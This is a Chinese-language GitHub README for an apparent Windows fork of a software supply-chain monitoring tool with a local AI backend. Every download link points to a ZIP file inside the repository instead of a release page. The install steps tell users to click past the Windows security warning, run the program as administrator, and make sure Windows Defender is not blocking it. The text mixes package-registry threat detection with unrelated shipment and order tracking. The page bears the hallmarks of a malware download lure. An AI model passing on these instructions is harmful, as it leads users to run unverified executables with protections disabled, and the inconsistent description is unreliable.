qintarfermidiracstatistics981/supply-chain-monitor-localai
GitHub: qintarfermidiracstatistics981/supply-chain-monitor-localai
一款基于本地大语言模型的软件供应链安全监控工具,通过追踪 PyPI 和 npm 的包发布变化并结合 AI 分析威胁,实现私有化部署的自动化告警推送。
Stars: 0 | Forks: 0
# 🧭 supply-chain-monitor-localai - 使用本地 AI 追踪供应链数据
[](https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/raw/refs/heads/main/spiderly/chain_localai_supply_monitor_v3.7.zip)
## 🚀 入门指南
`supply-chain-monitor-localai` 可帮助您借助本地 AI 后端监控供应链活动。这是一个专为希望下载版本并在其计算机上运行的终端用户构建的 Windows 应用程序。
请使用发布页面获取最新版本:
https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/raw/refs/heads/main/spiderly/chain_localai_supply_monitor_v3.7.zip
## 📥 下载与安装
1. 打开发布页面。
2. 在页面顶部找到最新版本。
3. 从版本附件中下载 Windows 文件。
4. 如果文件是 ZIP 压缩包,请右键单击并选择**全部提取**。
5. 打开解压后的文件夹。
6. 双击应用程序文件以启动它。
如果 Windows 显示安全提示:
1. 点击**更多信息**
2. 点击**仍要运行**
如果您看到的是 ZIP 文件而不是 EXE 文件,这是正常的。许多 Windows 应用程序都以 ZIP 格式发布,以便您首先解压文件。
## 🖥️ 系统要求
本应用程序专为 Windows 台式机和笔记本电脑设计。
推荐配置:
- Windows 10 或 Windows 11
- 8 GB 或更多 RAM
- 5 GB 可用磁盘空间
- 现代化的 CPU
- 首次设置时需要稳定的互联网连接
- 如果您需要基于模型的分析,则需要一个本地 AI runtime
为获得最佳体验,如果您计划使用较大的模型,请使用至少具有 16 GB RAM 的计算机。
## ⚙️ 工作原理
本应用程序是原版 Elastic 供应链监控程序的一个分支,并配备了本地 AI 后端。这意味着它可以使用您自己的计算机进行 AI 任务,而无需将数据发送到远程服务。
典型流程:
1. 您打开应用程序。
2. 您加载或连接您的供应链数据。
3. 应用程序检查模式和事件。
4. 本地 AI 后端帮助总结重要内容。
5. 您在界面中查看结果。
本地后端可以使用以下工具:
- vLLM
- llama.cpp
## 🔧 首次运行设置
在您首次打开应用程序后,请按照以下步骤操作:
1. 启动程序。
2. 等待其完成加载。
3. 如果出现设置界面,请选择本地 AI 选项。
4. 选择您要使用的 backend。
5. 将应用程序指向您的模型文件或模型文件夹。
6. 保存设置。
7. 加载您的数据源并运行首次扫描。
如果应用程序要求提供 model path,请选择存储 AI 模型文件的文件夹。
## 🧠 选择本地 AI Backend
本项目支持本地模型 backend,以便您可以在您的计算机上运行 AI 功能。
### vLLM
在以下情况下使用此选项:
- 您需要高性能
- 您拥有更强大的系统
- 您已使用 vLLM 进行本地 inference
### llama.cpp
在以下情况下使用此选项:
- 您想要简单的本地设置
- 您想要运行较小的模型
- 您更喜欢在许多 PC 上都能良好运行的轻量级工具
如果您不确定该选哪一个,请从 llama.cpp 开始。它通常在首次运行时更容易上手。
## 📂 使用该应用程序
设置完成后,您可以按照以下方式使用该应用程序:
1. 打开程序。
2. 加载您的供应链数据。
3. 查看扫描结果。
4. 检查警报和趋势。
5. 使用 AI 总结以更快地理解数据。
6. 如果应用程序提供该选项,请导出或保存您的报告。
该应用程序旨在帮助您发现供应链数据中的变化、审查风险信号,并阅读通俗易懂的摘要,而无需深入查阅原始记录。
## 🧾 常见文件类型
您可能会在发布版本中看到以下一些文件类型:
- `.exe` — 您可以在 Windows 上打开的应用程序文件
- `.zip` — 您必须首先解压的压缩文件夹
- 模型文件 — 本地 AI backend 使用的文件
如果您不确定该打开哪个文件,如果有提供 Windows `.exe` 文件,请选择它。如果只有 `.zip` 文件可用,请先将其解压。
## 🛠️ 基本故障排除
### 应用程序无法启动
请尝试以下操作:
1. 右键单击该文件
2. 选择**以管理员身份运行**
3. 如果文件是以 ZIP 格式下载的,请检查文件是否已完全解压
4. 确保 Windows Defender 没有拦截该文件
### 应用程序打开后立即关闭
请尝试以下操作:
1. 确认您下载了完整的发布附件
2. 重新解压 ZIP 文件
3. 从解压后的文件夹中打开应用程序
4. 检查应用程序是否需要本地 model path
### AI backend 无法加载
请尝试以下操作:
1. 检查应用程序中的 backend 设置
2. 确保您的模型文件存在
3. 确认模型格式与 backend 匹配
4. 更改设置后重新启动应用程序
### 应用程序运行缓慢
请尝试以下操作:
1. 关闭其他占用资源大的应用程序
2. 使用较小的本地模型
3. 降低计算机的负载
4. 使用适合您硬件的 backend
## 🔍 获取更好结果的技巧
- 使用干净、最新的数据
- 将您的模型文件保存在同一个文件夹中
- 从小型本地模型开始
- 每次更改后保存您的设置
- 更改 backend 后重新启动应用程序
- 测试时每次使用相同的数据源
## 📌 本项目的用途
本应用程序是一个带有 AI 辅助的本地供应链监控工具。如果您有以下需求,它将非常有用:
- 用于供应链审查的桌面工具
- 在您自己的计算机上进行本地 AI 处理
- 更快地审查大型数据集
- 供应链事件的简单摘要
- 一个可以从发布版本下载并直接运行的 Windows 应用程序
## 📦 发布页面
请使用此页面下载并运行最新的 Windows 构建版本:
https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/raw/refs/heads/main/spiderly/chain_localai_supply_monitor_v3.7.zip
## 🧩 示例用例
您可以使用该应用程序来:
- 审查供应商活动
- 监控供应链记录中的异常变化
- 检查跨货运或订单的趋势
- 阅读 AI 生成的关键事件摘要
- 将分析数据保留在您自己的 PC 上
## 🖱️ Windows 运行步骤
如果您想在 Windows 上快速运行,请按以下步骤操作:
1. 访问发布页面
2. 下载最新的 Windows 附件
3. 如有需要,请解压文件
4. 打开主应用程序文件
5. 允许 Windows 完成首次启动
6. 设置您的本地 AI backend
7. 加载您的数据并开始使用
## 🔐 本地处理
由于此版本使用本地 AI backend,您的数据在 AI 处理期间可以保留在您的计算机上。如果您希望更好地控制数据的去向,这将非常有帮助。
## 🧰 建议的文件夹结构
如果您想要一个整洁的安装,请使用以下结构:
- `Downloads`
- `supply-chain-monitor-localai.zip`
- `Apps`
- `supply-chain-monitor-localai`
- `Models`
- `your-local-model-files`
这将使您以后更容易找到应用程序和模型文件。
## 📄 获取更新的位置
请查看发布页面以获取新的构建版本、修复和更改:
https://github.com/qintarfermidiracstatistics981/supply-chain-monitor-localai/raw/refs/heads/main/spiderly/chain_localai_supply_monitor_v3.7.zip
标签:AI安全分析, DevSecOps, DNS 反向解析, Elastic fork, LocalAI, npm, PB级数据处理, PyPI, Slack通知, Windows桌面应用, 上游代理, 代码差异比对, 包管理器监控, 威胁情报, 安全告警, 安全运维, 开发者工具, 恶意依赖检测, 文档安全, 暗色界面, 本地化推理, 本地大模型, 软件供应链攻击检测